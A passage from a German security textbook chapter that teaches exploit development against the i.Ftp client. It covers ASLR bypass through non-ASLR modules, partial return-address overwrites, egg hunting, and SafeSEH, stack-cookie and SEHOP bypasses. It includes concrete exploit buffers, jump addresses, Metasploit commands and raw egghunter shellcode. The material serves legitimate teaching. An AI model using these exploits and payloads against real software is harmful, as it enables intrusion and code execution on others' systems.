0x77270000 | True | True | True | False | True | gdi32full.dll
0x00400000 | False | False | False| False | False | iftp.exe
0x75b60000 | True | True | True | False | True | MSVCRT.dll
0x73d80000 | True | True | True | False | True | CRYPTBASE.dll
0x774d0000 | True | True | True | False | True | ntdll.dll
0x75970000 | True | True | True | False | True | sechost.dll
0x74610000 0x741b0000 0x73d90000 0x10000000 0x75e00000 0x75800000 0x73db0000 0x74350000 0x74490000 0x748d0000
| | | | | | | | | |
True True True False True True True True True True
| | | | | | | | | |
True True True False True True True True True True
| | | | | | | | | |
True | True | True | False| True | True | True | True | True | True |
False False False False False False False False False False
| | | | | | | | | |
True True True False True True True True True True
| | | | | | | | | |
cfgmgr32.dll
KERNEL32.DLL
SspiCli.dll
Lgi.dll
ole32.dll
SHLWAPI.dll
SHELL32.dll
IMM32.dll
comdlg32.dll
combase.dll
Die DLL Lgi.dll und die Anwendung iftp.exe haben ASLR nicht aktiviert und sind damit geeignete Kandidaten für eine statische Sprungadresse. Im nächsten Schritt versuchen Sie nun, die Adresse einer JMP ESP-Anweisung in den beiden Dateien zu finden. 12.2.3 Verwendung von ASLR-freien Modulen – i.Ftp.exe
Beginnen Sie zuerst mit iftp.exe, und suchen Sie in View • Executable Modules mittels (Strg) + (F) nach jmp esp. Sie sehen in Abbildung 12.3 den Suchdialog. Leider lässt sich in der Datei kein JMP ESP-Kommando finden.
Abbildung 12.3 Suche nach JMP ESP in iftp.exe
JMP ESP ist aber nicht der einzige Weg, um an die Stelle im Speicher
zu springen, an die ESP zeigt. Mit etwas Assembler-Kenntnissen und Verständnis der Mechanismen am Stack finden Sie auch Alternativen, um im Programm zu springen. Die beiden folgenden
Kommandos führen einen Sprung an die in ESP gespeicherte Adresse durch: CALL ESP PUSH ESP; RET
Eine weitere Methode ist die Suche nach Jump Opcodes innerhalb von anderen Kommandos. Der Opcode für die JMP ESP-Anweisung ist beispielsweise \xFF\xE4. Sie müssen im Speicher nur diese Sequenz finden. Das kann durchaus auch mitten in einem anderen Kommando mit einem längeren Opcode sein. Lassen Sie uns diese Vorgehensweise anhand eines Beispiels erklären: An der Adresse 0x0040106F steht das fiktive Kommando 0x0040106F
MOV EAX, AABBE4FF
Opcode: B8 FF E4 BB AA
Das Kommando lädt den Wert 0xAABBE4FF in das EAX-Register; dessen Opcode enthält die Sequenz FFE4, das ist aber genau der Opcode einer JMP ESP-Instruktion. Die exakte Adresse des JMP ESPKommandos ist dann 0x0040106F + 1 = 0x00401070. Sie nutzen somit eine Kommandosequenz innerhalb eines anderen Kommandos. Mit der Erkenntnis lassen sich nun leicht einige JMP ESPAlternativen in der Datei iftp.exe finden. Sie sehen in Abbildung 12.4 eine versteckte JMP ESP-Anweisung. Der Opcode für PUSH ESP; RET ist \x54\xC3; diese Sequenz nutzt das letzte Opcode-Byte des Kommandos MOV EAX, DWORD PTR DS:[ECX+54] und die nachfolgende RET-Instruktion. Die exakte Adresse der JMP-Alternative ist 0x0043E470 + 2 = 0x0043E472.
Abbildung 12.4 Eine versteckte JMP ESP-Anweisung
Die Suche nach alternativen Sprungbefehlen kann auch automatisiert werden. Dazu bietet das Metasploit Framework das Tool msfpescan an. Kopieren Sie dazu die Datei iftp.exe auf Ihr KaliLinux-System, und führen Sie direkt im Verzeichnis /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin das folgende Kommando aus: ./msfpescan -j ESP iftp.exe
0x004292d0 push esp; retn 0x0004
0x0042954e push esp; retn 0x0004
0x00437522 push esp; retn 0x000c
0x00438a42 push esp; ret
0x0043e472 push esp; ret
0x0043e486 push esp; retn 0x0004
0x00452b53 jmp esp
msfpescan hat noch weitere Sprungmöglichkeiten entdeckt. Sie
haben damit die Adresse eines gültigen JMP ESP-Kommandos in einem von ASLR nicht beeinflussten Modul gefunden. Im nächsten Schritt fügen Sie nun diese Adresse in Ihren ExploitCode ein und testen das Verhalten. buf = "A" * 260
+ "\x72\xe4\x43\x00"
+ NOPS
+ SHELLCODE
+ "C" * (700 -260 -4 -len(NOPS) - len(SHELLCODE))
Listing 12.3 Verwendung einer Sprungadresse aus i.Ftp.exe
Nach dem Start des Programms werden Sie feststellen, dass der i.Ftp-Client wieder abstürzt. Sie haben zwar eine gültige JMP ESPAdresse ermittelt, allerdings enthält die Adresse ein Nullbyte und ist somit nicht geeignet. Auch die Adressen aller anderen gefundenen JMP-Varianten starten mit einem Nullbyte. Um auch dieses Problem zu lösen, können Sie von dem speziellen Verhalten des Bad Characters 0x20 Gebrauch machen. Erinnern Sie sich noch an das spezielle Verhalten des 0x20-Bytes im Input-Buffer?
Das Zeichen wird beim ersten Vorkommen auf 0x00 verändert. Genau diese Funktionalität benötigen Sie jetzt. Eine kleine Änderung der Sprungadresse sollte nun den Absturz verhindern. buf = "A" * 260
+ "\x72\xe4\x43\x20"
+ NOPS
+ SHELLCODE
+ "C" * (700 -260 -4 -len(NOPS) - len(SHELLCODE))
Listing 12.4 Ausnutzung des speziellen 0x20-Verhaltens
Der Exploit funktioniert nun wieder. Beachten Sie bei Verwendung des Calc-Shellcodes, dass der 0x20-Trick nur einmal anwendbar ist und daher die initiale Konsumierung der 0x20-Zeichen vor dem Shellcode \x83\xc0\x20 entfernt werden muss. Sie haben nun einen robusten (reliable) Exploit-Code vor sich, der auch nach einem Reboot wieder funktioniert. Ebenso ist dieser Code auf verschiedenen Betriebssystemen (Windows XP bis Windows 10) lauffähig. Das ist die erste Variante eines erfolgreichen ASLR-Bypass. 12.2.4 Partielles Überschreiben der Sprungadresse
Die Verwendung von statischen JMP ESP-Adressen aus iftp.exe hat nur deshalb funktioniert, weil das Spezialverhalten des 0x20-Bytes nutzbar war. Im Normalfall ist das allerdings nicht möglich. Wir möchten Ihnen hier eine weitere Möglichkeit vorstellen, indem Sie aus der Adresse nur den Nullbyte-freien Bereich verwenden. Originaladresse: 0x0043e472 Nullbyte-freier Teil: 0x43e472 Wie können Sie nun verhindern, dass das Nullbyte durch das nächste Byte im Input-Buffer überschrieben wird? Die Antwort ist relativ einfach: Es ist nicht möglich. Betrachten Sie dazu die
Struktur des Input-Buffers in Abbildung 12.5 und den verwendeten Input-String: buf = "A" * 260
+ "\x72\xe4\x43\x00"
+ NOPS
+ SHELLCODE
+ "C" * (700 -260 -4 -len(NOPS) - len(SHELLCODE))
Listing 12.5 Die Sprungadresse enthält ein Nullbyte.
Abbildung 12.5 Die Struktur des Exploits
Was wäre, wenn Sie einfach den kompletten Teil hinter der Adresse weglassen würden? Das ist die einzige Möglichkeit, um ein Nullbyte in der Adresse zu platzieren. Sie sehen diesen Ansatz in Abbildung 12.6. Aufgrund der Reverse Byte Order ist das erste Byte der Adresse das letzte Byte im Buffer.
Abbildung 12.6 Das letzte Byte der Adresse wird abgeschnitten.
Das bedeutet aber, dass Sie keine weiteren Bytes nach der abgeschnittenen Adresse verwenden können. Der 436 Byte große CBlock ist somit nicht mehr für den Shellcode verfügbar. Auch der bisher verwendete JMP ESP-Ansatz funktioniert nicht mehr, Sie würden in einen Bereich am Stack springen, der nicht mehr unter Ihrer Kontrolle ist.
Lassen Sie uns noch einmal zur grundlegenden Analyse der Absturzsituation zurückkehren. Abbildung 12.7 zeigt die Registerinhalte zum Zeitpunkt des Absturzes. Neben ESP zeigt auch das EDI-Register in einen Speicherbereich, der von außen kontrollierbar ist.
Abbildung 12.7 ESP und EDI zeigen in den kontrollierbaren Datenbereich.
Genau genommen zeigt EDI auf das erste Byte im Input-Buffer, die Berechnung des Offsets entfällt damit (Offset = 0). Um nun an den Anfang des Buffers zu springen, benötigen Sie die statische Adresse einer JMP EDI-Instruktion. Mittels msfpescan lassen sich zahlreich JMP EDI-Varianten finden: ./msfpescan -j EDI /root/Desktop/iftp.exe
0x0040123d call edi
0x00401247 call edi
0x004024c9 call edi
0x004024f3 call edi
0x00402c43 call edi
0x00403888 call edi
…
Passen Sie nun wieder den Exploit-Code an die neue Struktur an, und setzen Sie im Immunity Debugger einen Breakpoint an die JMP EDI-Adresse. Der Input-Buffer hat dadurch eine sehr einfache Struktur: buf = "A" * 260 + "\x3d\x12\x40"
Sie sehen in Abbildung 12.8 die Registerinhalte nach dem Absturz. Der Instruction Pointer EIP wurde mit der Adresse 0x0040123d mit einem führenden Nullbyte überschrieben.
Abbildung 12.8 EIP, überschrieben mit der JMP EDI-Adresse
Führen Sie nun mittels (F7) einen Single Step aus, und Sie landen im nächsten Schritt im A-Block (siehe Abbildung 12.9). Gratuliere, Sie haben eine weitere Möglichkeit gefunden, um Code zuverlässig auszuführen: ein reliable Exploit. Die Sprungadresse ist statisch und unabhängig von ASLR; damit können Sie wieder auf allen Windows-Versionen den Code ausführen.
Abbildung 12.9 Codeausführung im A-Block
Sie können nun den Exploit-Code vervollständigen und den CalcShellcode einfügen: buf = NOPS
+ Calc
+ "A" * (260 - len(NOPS) - len(Calc)) + "\x3d\x12\x40"
Listing 12.6 Partielles Überschreiben der Return-Adresse
Wunderbar, der Exploit funktioniert, und der WindowsTaschenrechner wird geöffnet (siehe Abbildung 12.10)! Allerdings startet der Taschenrechner mehrmals, und Sie müssen sich beeilen, um alle Fenster zu schließen, bevor das System nicht mehr bedienbar ist. Den Grund dafür werden wir später analysieren.
Abbildung 12.10 Der Windows-Taschenrechner erscheint (mehrmals).
Eine Erkenntnis aus dem partiellen Überschreiben des Instruction Pointers ist, dass sich der Programmfluss bereits bei einer InputLänge von 263 Bytes verändern lässt. Das ist aber auch die Einschränkung: Diese Form der Exploitation erlaubt eine maximale Länge des Shellcodes von 260 Bytes. Der Calc-Shellcode (75 Bytes) passt natürlich einfach in diesen Block, die bisher verwendeten
Varianten von Bind und Reverse Shellcode sind aber wesentlich länger, nämlich ungefähr 350 Bytes, und funktionieren hier nicht mehr. Sie können bei eine Längenbeschränkung des Shellcodes einen zweistufigen Ansatz wählen. Das Metasploit Framework bietet sogenannte Staged Payloads an. Dabei wird der initiale Shellcode ausgeführt (Stage-1) und lädt dann zur Laufzeit den restlichen Teil von einem externen Server nach (Stage-2). Dieser Ansatz funktioniert hier allerdings auch nicht, weil auch die Stage-1Shellcodes etwa 300 Bytes benötigen. Im nächsten Abschnitt wollen wir Ihnen mit Egg Hunting eine Technik vorstellen, die eine vorhandene Längenbeschränkung umgehen kann. Genau genommen benötigen Sie in etwa 35 Bytes freien Platz für den ersten Schritt der Codeausführung. 12.2.5 Egg Hunting
Lassen Sie uns zu Beginn wieder die Situation nach dem partiellen Überschreiben des Instruction Pointers zusammenfassen: Buffer-Länge: 263 Bytes Maximale Länge des Shellcodes: 260 Bytes Bad Characters: 0x00, 0x20, 0x22 Spezialverhalten: 0x20 → 0x00 JMP EDI: 0x0040123d iftp.exe
Die Egg-Hunting-Methode (»Ostereier suchen«) versucht, den Shellcode an einer beliebigen Stelle im Speicher zu suchen, ohne die konkrete Startadresse zu kennen. Die Frage ist nun: Wie können Sie
den Shellcode im Speicher ablegen, wenn der freie Platz im InputBuffer nur 260 Bytes beträgt? Sie benötigen einen alternativen Weg, um Daten im Speicher der Anwendung abzulegen. Denken Sie zurück an den ersten Analyseschritt der Anwendung. Sie haben mittels Fuzzing versucht, die Anwendung zum Absturz zu bringen. Dabei wurde in der Datei Schedule.xml das Time-Feld mit Daten verschiedener Länge befüllt.
Listing 12.7 Zusätzliche Datenfelder in der Datei »Schedule.xml«
Die beiden anderen Datenfelder Url und Folder wurden für die Analyse nicht verwendet, da eine Überlänge im Time-Feld bereits zum Absturz geführt hat. Die Frage ist nun: Können die beiden Datenfelder dazu verwendet werden, den Shellcode im Speicher abzulegen, ohne dass die Anwendung aufgrund dieser Daten abstürzt? Fügen Sie nun eine weitere Variable (SecondInput) in Ihr PythonScript ein. Die Variable enthält 100-mal den Text EGG_HUNTER. buf = NOPS
+ Calc
+ "A" * (260 - len(NOPS) - len(Calc)) + "\x3d\x12\x40"
SecondInput = "EGG_HUNTER" * 100
Im unteren Teil des Scripts muss der SecondInput nur noch in das Url-Feld eingefügt werden. ##################################################################
# Create Schedule.xml file
##################################################################
xml =""
xml+=""
xml+=""
xml +=""
Listing 12.8 Der Exploit-Code, erweitert um einen weiteren Datenkanal
Starten Sie nun die Anwendung wieder im Debugger, und setzen Sie einen Breakpoint auf die Adresse des JMP EDI-Kommandos. Der zusätzliche Input im Url-Datenfeld zeigt keine negativen Auswirkungen, der Debugger stoppt wie erwartet im Breakpoint. Bei der Betrachtung der Registerinhalte in Abbildung 12.11 werden Sie feststellen, dass kein Register auf den neu eingefügten Datenblock zeigt.
Abbildung 12.11 Kein Register zeigt auf den SecondInput
Sie können nun manuell nach dem String im Speicher suchen. Dazu markieren Sie unter View • Memory die erste Zeile und öffnen durch Drücken der rechten Maustaste und Search den Suchdialog. Sie können dort in verschiedenen Formaten nach Daten im gesamten Speicher suchen. Die Eingabe von EGG im ASCII-Suchfeld und Drücken des OK-Buttons startet die Suche.
Abbildung 12.12 Suche nach dem Ei
Nach wenigen Sekunden stoppt die Suche, und Sie haben den SecondInput an der Adresse 0x2429960 im Speicher gefunden. Abbildung 12.13 zeigt den Speicherbereich, gefüllt mit dem Text EGG_HUNTER.
Abbildung 12.13 Der SecondInput liegt im Speicher.
Die genauere Analyse der Situation in Abbildung 12.14 erklärt nun auch, warum kein Register auf den neuen Speicherbereich zeigt. Der SecondInput im Url-Feld wurde unmittelbar vor den Daten im TimeFeld am Stack abgelegt.
Abbildung 12.14 Der SecondInput liegt vor dem Calc-Shellcode am Stack.
Damit wurde der SecondInput in manueller Suche im Speicher gefunden. Sie benötigen nun einen Programmcode, der automatisch den gesamten Programmspeicher nach dem Code durchsucht und dann an diese Stelle springt. Der Egg Hunting Shellcode sucht nach einem Egg (einer speziellen Kennung am Beginn des Shellcodes) im Speicher und führt den Code unmittelbar hinter dem Egg aus. Sie können sich den Egg Hunting Shellcode wieder komfortabel mit dem Metasploit Framework generieren lassen. Wechseln Sie dazu in das Verzeichnis /usr/share/metasploit-framework/tools/exploit, und geben Sie das folgende Kommando ein: ./egghunter.rb --egg w00t --format raw | msfvenom -p - -a x86
--platform windows -f python
Der generierte Code weist eine Länge von 32 Bytes auf. Das Egg w00t muss vor dem Shellcode zweimal (w00tw00t) platziert werden. Der Grund dafür ist, dass sich der Egg Hunter Shellcode nicht selbst im Speicher finden soll, da im Egg Hunter Code natürlich auch der String w00t enthalten ist. Als Egg eignet sich jeder einigermaßen
eindeutige String, der in einem typischen Programmspeicher nicht (doppelt) vorkommt. Dieser Egg Hunting Shellcode würde nur auf einem reinen 32-BitSystem ohne Probleme laufen. Wenn Sie eine 32-Bit-Anwendung auf einem 64-Bit-System starten, dann wird diese im WOW64Subsystem ausgeführt. Sie benötigen dann eine andere Version des Egg Hunters. Einen universellen Egg Hunting Shellcode, der sowohl 32-Bit- als auch 64-Bit-Systeme unterstützt, finden Sie unter https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/. EGGHUNTER =(
"\x33\xd2"
"\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
"\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
"\x2e\x5a\x3c\x05\x74\xea\xb8"
"\x77\x30\x30\x74" #egg w00t
"\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
"\xe2\x64\xff\x13\x5e\x5a\xeb\xdf")
buf = NOPS
+ EGGHUNTER
+ "A" * (260 - len(EGGHUNTER) - len(NOPS))
+ "\x3d\x12\x40"
Listing 12.9 Der Egg Hunting Shellcode
Platzieren Sie das Egg zweimal vor dem Shellcode, und starten Sie das Programm. EGG = "\x77\x30\x30\x74" #w00t
SecondInput = EGG + EGG + Calc
Listing 12.10 Transfer des Eggs im SecondInput
Der Egg Hunting Shellcode durchsucht nun den kompletten Speicher nach w00tw00t. Es kann, abhängig von der aktuellen Position des Shellcodes im Speicher, einige Sekunden bis Minuten dauern, bis der Windows-Taschenrechner gestartet wird. Während des Suchvorgangs werden Sie auch einen starken Anstieg der CPUAuslastung bemerken. Damit haben Sie nun eine weitere Variante
des Exploits implementiert, der einerseits unabhängig von ASLR ist und andererseits auch die Längenbeschränkung der Payload von 260 Bytes umgangen hat. 12.2.6 Verwendung von ASLR-freien Modulen – Lgi.dll
Sie haben in Abschnitt 12.2.3 versucht, eine stabile Sprungadresse aus dem Programm iftp.exe zu finden. Aufgrund der NullbyteProblematik war das nur durch partielles Überschreiben der Sprungadresse möglich. Der i.Ftp-Client liefert aber noch eine weitere Bibliothek mit. Die DLL Lgi.dll besitzt die statische Basisadresse 0x10000000 und eine Länge von 0xc5000 (siehe Abbildung 12.15).
Abbildung 12.15 Die mitgelieferten Module des i.Ftp-Clients
Die Adresse weist kein führendes Nullbyte auf (alle Adressen beginnen mit 0x10). Nun müssen Sie nur noch eine gültige JMP ESPSprungadresse in der DLL finden. Dazu führen Sie wieder msfpescan aus: ./msfpescan -j ESP Lgi.dll 0x100059ec push esp; ret
0x10020eec jmp esp
0x10022306 jmp esp
0x1002242a jmp esp
0x10022714 jmp esp
0x1004340e push esp; retn 0x0010
0x10047057 push esp; ret
0x1004858f push esp; ret
msfpescan hat acht Sprungmöglichkeiten gefunden, wobei die erste
Adresse 0x100059ec ein Nullbyte enthält und damit als Sprungadresse nicht geeignet ist. Die folgenden vier Adressen (0x10020eec, 0x10022306, 0x1002242a, 0x10022714) enthalten auf den
ersten Blick Bad Characters. Wenn Sie die Adressen allerdings genau betrachten, dann ist beispielsweise die erste Adresse, in ByteSchreibweise dargestellt (0x10 0x02 0x0e 0xec), frei von Bad Characters. Verwenden Sie nun eine der gültigen Adressen, und testen Sie den Exploit. #0x10047057 push esp; ret Lgi.dll
buf = "A" * 260
+ "\x57\x70\x04\x10"
+ NOPS
+ SHELLCODE
+ "C" * (700 -260 -4 -len(NOPS) - len(SHELLCODE))
Listing 12.11 Verwendung einer Sprungadresse aus »Lgi.dll«
Der finale Exploit-Code läuft nun stabil auf allen WindowsVersionen von Windows XP bis Windows 10. Um diese Art von Exploit zu verhindern, muss auch die Anwendung selbst mit ASLRSupport kompiliert werden. 12.2.7 Brute Force einer Sprungadresse
In manchen Fällen ist ein Exploit immer wieder ausführbar. Das kann zum Beispiel im Fall eines Services möglich sein, der nach einem Absturz vom Betriebssystem wieder automatisch gestartet wird. ASLR randomisiert abhängig vom eingesetzten Betriebssystem immer nur einen Teil der Adresse. In Kapitel 11, »Schutzmaßnahmen einsetzen«, können Sie den durch ASLR veränderten Adressteil gut sehen: Vor dem Reboot: 0x74F7AFB7 Nach dem Reboot: 0x7459AFB7 Es werden lediglich 2 Bytes verändert. Das bedeutet aber auch, dass Sie eine beliebige Adresse verwenden und dann maximal 65.535 Durchläufe brauchen, um die richtige Adresse zu erraten. Der Brute-
Force-Vorgang kann zwar sehr lange dauern, wird aber zum Erfolg führen. 12.2.8 Partielles Überschreiben der Return-Adresse II
Neben der Anwendung von Brute Force wie in Abschnitt 12.2.7 können Sie mit einem partiellen Überschreiben der Return-Adresse eventuell wieder den Umstand ausnutzen, dass nur ein Teil der Adresse durch ASLR randomisiert wird. Lassen Sie uns dazu noch einmal die beiden Adressen vor und nach dem Reboot analysieren: Vor dem Reboot: 0x74F7AFB7 – Reverse: \xB7\xAF\xF7\x74 Nach dem Reboot: 0x7459AFB7 – Reverse: \xB7\xAF\x59\x74 In der Reverse Byte Order könnte ein partielles Überschreiben der ersten beiden Bytes mit den konstanten Werten \xB7\xAF zum Erfolg führen – vorausgesetzt, die restlichen beiden Bytes sind bereits mit der aktuellen, durch ASLR beeinflussten Adresse belegt. Der hier verwendete Konjunktiv deutet auch auf die geringe Wahrscheinlichkeit hin, dass die Variante erfolgreich ist, denn es müssen hier einige Vorbedingungen erfüllt sein. 12.2.9 Ermitteln der Adressen aus dem laufenden Programm
Es kommt auch vor, dass ein Programm eine aktuell verwendete Speicheradresse durch ein Fehlverhalten preisgibt. Das ist eventuell durch eine weitere Schwachstelle möglich, die für sich allein wenig Kritikalität besitzt, aber in Kombination mit einer anderen, durch ASLR geschützten Schwachstelle trotzdem sehr kritisch sein kann. Eine notwendige Voraussetzung dafür ist, dass die Adressabfrage nicht zu einem Absturz des Programms führt.
Sie werden diese Methode im ersten Schritt des Linux Format String Exploits in Kapitel 13 einsetzen, um aus dem laufenden Programm Adressen auszulesen, die dann über die Berechnung mit konstant bleibenden Offsets zu aktuell gültigen Adressen führen. 12.2.10 Fehlertolerante Sprungbereiche
Bisher sind Sie davon ausgegangen, dass die Sprungadressen exakt sein müssen. Was halten Sie davon, wenn die Angabe eines Sprungbereichs schon ausreichend ist? Denken Sie dabei an die Landebahn für Flugzeuge. Ein Flugzeug muss nicht exakt am Beginn der Landebahn aufsetzen, sondern innerhalb einer bestimmten Landezone. Dieser Ansatz lässt sich auch für die Erstellung robuster Exploits einsetzen. Ähnlich dem Heap-Spraying-Ansatz können Sie einen großen Block mit neutralen Kommandos, zum Beispiel NOPs, gefolgt vom auszuführenden Shellcode am Stack platzieren. Sie sehen den Ansatz in Abbildung 12.16. Egal an welche Stelle Sie exakt in die Landezone springen, die Programmausführung durchläuft den NOP-Block, bis am Ende der Zone der Shellcode liegt. Damit sind Sie in der Wahl der Sprungadressen flexibler. Je länger die Zone ist, desto größer ist auch der mögliche Sprungbereich.
Abbildung 12.16 Fehlertolerante Landezone
Die Landezone wird auch als NOP-Slide, NOP-Ramp oder NOP-Sled bezeichnet.
12.3 Bypass von Stack Cookies Stack Cookies sind zufällig generierte Werte, die am Stack zwischen den lokalen Variablen einer Funktion und den gespeicherten Registerwerten von Saved EBP und Saved EIP gespeichert werden. Ein Buffer Overflow muss auch diesen Wert überschreiben, um die nachfolgenden »interessanten« Felder wie zum Beispiel die ReturnAdresse zu manipulieren. Vor dem Rücksprung in die aufrufende Funktion wird der Wert daraufhin überprüft, ob er immer noch dem zu Beginn gespeicherten Wert entspricht. Stack Cookies schützen natürlich nicht vor dem Überschreiben von lokalen Variablen innerhalb der Funktion. Diese liegen vor dem Cookie am Stack und können damit nicht überprüft werden. Die einfachste Möglichkeit, einen Stack-Cookie-Mechanismus zu umgehen, ist die Ermittlung bzw. die Berechnung des CookieWertes. Wird dieser Wert nun exakt an der Stelle im Puffer eingefügt, so erfolgt zwar ein Überschreiben des Cookies, allerdings wieder mit dem zuvor gespeicherten Wert. Das klingt einfach, erfordert aber, dass Sie die Stelle im Speicher kennen und auch darauf Zugriff haben, wo dieser Wert abgelegt ist. Wenn Sie die Speicherstelle kennen und dort auch Schreibrechte besitzen, so können Sie eventuell auch den abgelegten Cookie-Wert überschreiben. Eine weitere Möglichkeit ist die Ausnutzung des Exception Handlings. Die Variante setzt aber voraus, dass ein Überschreiben eines Exception Handlers am Stack möglich ist und dass der Exploit eine Exception auslöst, bevor die Überprüfung des Stack Cookies stattfindet. Sie finden die Implementierung eines Structured Exception Handling Exploits in Kapitel 10, »Buffer Overflows
ausnutzen«. Das bedeutet aber auch, dass für eine gute Absicherung neben Stack Cookies auch der Schutz vor Exception Handling Exploits, wie zum Beispiel SafeSEH und SEHOP, notwendig ist.
12.4 Bypass von SafeSEH SafeSEH überprüft die aufzurufende Exception-Handler-Adresse gegen eine Liste von erlaubten Adressen. Damit kann ein SEHExploit einfach verhindert werden, der typischerweise die HandlerAdresse durch einen Buffer Overflow mit der Adresse einer POP POP RET-Sequenz überschreibt. Sie haben in Abschnitt 12.2.6 einen Bypass für ASLR durch den Einsatz von ASLR-freien Modulen kennen gelernt. Genau dieser Ansatz funktioniert auch, um SafeSEH zu umgehen. Für den in Kapitel 10, »Buffer Overflows ausnutzen«, vorgestellten Windows-Exploit in i.Ftp können Sie mit dem Kommando !mona modules im Immunity Debugger die Liste der eingebundenen Module inklusive der aktivierten bzw. fehlenden Schutzmaßnahmen sehen. Die Spalte SafeSEH zeigt zwei Module (ift.exe, Lgi.dll), die SafeSEH nicht aktiviert haben. ------------------------------------------------------------------------
Base | Rebase| SafeSEH| ASLR | NXCompat| OS Dll| Modulename
------------------------------------------------------------------------
0x75b40000 | True | True | True | False | True | profapi.dll
0x77270000 | True | True | True | False | True | gdi32full.dll
0x00400000 | False | False | False| False | False | iftp.exe
0x75b60000 | True | True | True | False | True | MSVCRT.dll
0x73d90000 | True | True | True | False | True | SspiCli.dll
0x10000000 | False | False | False| False | False | Lgi.dll
0x75e00000 | True | True | True | False | True | ole32.dll
0x75800000 | True | True | True | False | True | SHLWAPI.dll
Die Verwendung einer POP POP RET-Handler-Adresse aus zum Beispiel Lgi.dll wird aufgrund der fehlenden SafeSEH-Funktionalität trotzdem funktionieren. Haben in einer Anwendung alle Module ASLR bzw. SafeSEH aktiviert, so ist die Kombination aus beiden Methoden ein wirksamer Schutz gegen eine große Anzahl von Exploits.
12.5 Bypass von SEHOP Die Structured Exception Handling Overwrite Protection (SEHOP) prüft, ob die SEH-Chain unverändert vorliegt. Dazu durchläuft der Prüfalgorithmus die Kette bis zum letzten Element. Das Element muss eine NEXT-Adresse von 0xFFFFFFFF aufweisen, und das HANDLERFeld muss auf die Final-Exception-Handler-Adresse des Betriebssystems zeigen. Sie sehen in Abbildung 12.17 eine intakte SEH-Chain.
Abbildung 12.17 Eine intakte SEH-Chain
Ein klassischer SEH-Exploit überschreibt das NEXT-Feld mit einer JMP + 6 Bytes-Instruktion gefolgt von zwei beliebigen Füllbytes. Das HANDLER-Feld wird mit der Adresse einer POP POP RET-Sequenz befüllt. Damit wird die Kette zerstört, da über das NEXT-Feld das nächste Element der Kette nicht mehr erreichbar ist.
Abbildung 12.18 Die Kette ist zerstört.
Dennoch ist SEHOP unter bestimmten Umständen angreifbar. Sofern die Adresse des Final Exception Handlers und die absolute Adresse des Buffer Overflows am Stack bekannt ist, lässt sich eine Umgehung konstruieren. Der Ansatz dafür ist eine Rekonstruktion der Struktur, die trotz des Exploits eine gültige, durchläufige Kette ergibt. Daraus ergeben sich folgende Anforderungen an die neu generierte Kette: Der Opcode im NEXT-Feld muss einer gültigen Adresse am Stack entsprechen. Das Objekt, auf das im NEXT-Feld verwiesen wird, muss ein gültiges SEH-Objekt sein. Das letzte Element der Kette muss auf den Final Exception Handler des Betriebssystems zeigen, und das NEXT-Feld muss auf 0xFFFFFFFF zeigen. Die beiden Security-Forscher Stefan Le Berre und Damien Cauquil haben einen Proof of Concept für diesen SEHOP Bypass veröffentlicht. Lassen Sie uns diese Methode nun analysieren. Sie sehen in Abbildung 12.19 das Herzstück eines SEH-Exploits.
Abbildung 12.19 Zentrale Elemente eines SEH-Exploits
Der Inhalt des NEXT-Feldes besteht bei einem SEH-Exploit aus zwei Teilen: NEXT: 0x414106EB 0x06 0xEB: Opcode für ein JMP +6 Bytes-Kommando 0x41 0x41: Füllbytes, die niemals ausgeführt werden
Die erste Aufgabenstellung ist es, aus dieser Adresse eine gültige Adresse eines SEH-Elements am Stack zu machen. Die weitere Anforderung ist, dass die Adresse auch an einer 4-Byte-Grenze ausgerichtet (aligned) ist. Die beiden Füllbytes können mit beliebigen Werten belegt werden. Bei der Ausführung des Exploits werden diese und die vier Bytes der Handler-Adresse übersprungen. Die Details der Ausführung eines SEH-Exploits unter Windows finden Sie in Kapitel 10, »Buffer Overflows ausnutzen«. Der Plan ist nun, ein Dummy-SEH-Objekt genau an der Adresse am Stack zu platzieren, die dem Inhalt des Next-Feldes entspricht. Das DummyElement zeigt dann auf das finale SEH-Objekt des Betriebssystems. Die Aufgabenstellung lautet nun konkret: Welche Sprunganweisung repräsentiert eine an einer 4-Byte-Grenze ausgerichtete Adresse am Stack? Es gibt eine Sprunganweisung, die dafür geeignet ist. 0x74 ist der Opcode für einen bedingten Sprung, der nur ausgeführt wird, wenn das Zero-Flag vorab gesetzt wird. Beim Standardaufruf eines Windows Exception Handlers ist das Flag allerdings nicht gesetzt. Damit tut sich hier die nächste Problemstellung auf, die aber relativ leicht zu lösen ist. In Assembler wird oft eine Exklusiv-OderAnweisung (XOR) benutzt, um einen Registerwert auf 0 zu setzen. Anstatt das Handler-Feld mit der Adresse einer POP POP RETAnweisung zu überschreiben, benötigen Sie nun eine XOR POP POP RET-Kommandokette. Die Kette könnte beispielsweise so aussehen: XOR EAX, EAX POP EDI POP ESI RET
Einfache POP POP RET-Ketten lassen sich leicht finden, die Suche nach einer XOR POP POP RET-Kommandokette kann schon schwieriger sein. Sie sehen nun in Abbildung 12.20 ein konkret implementiertes Beispiel eines SEHOP Bypass. Das durch den Exploit überschriebene SEH-Objekt liegt an der Adresse 0x0012F700 am Stack. Nun wird an der Adresse 0x0022F774 ein weiteres Dummy-SEH-Objekt platziert, das dem letzten Element der SEH-Chain mit Verweis auf den Final Exception Handler des Betriebssystems entspricht. Das NEXTElement enthält den Abschlusscode 0xFFFFFFFF.
Abbildung 12.20 Die modifizierte SEH-Chain
Das NEXT-Feld des ersten SEH-Objekts wird mit der Adresse 0x0012F774 (entspricht der Speicheradresse des zweiten Objekts) befüllt, das HANDLER-Feld zeigt auf eine XOR POP POP RET-Sequenz. Damit der Exploit funktionsfähig ist, müssen Sie vor den beiden SEH-Objekten jeweils ein NOP-Sled und einen Sprung mit + 8 Bytes einfügen. Sie sehen nun in Abbildung 12.21 die finale ExploitStruktur am Stack.
Abbildung 12.21 Der finale SEHOP Bypass
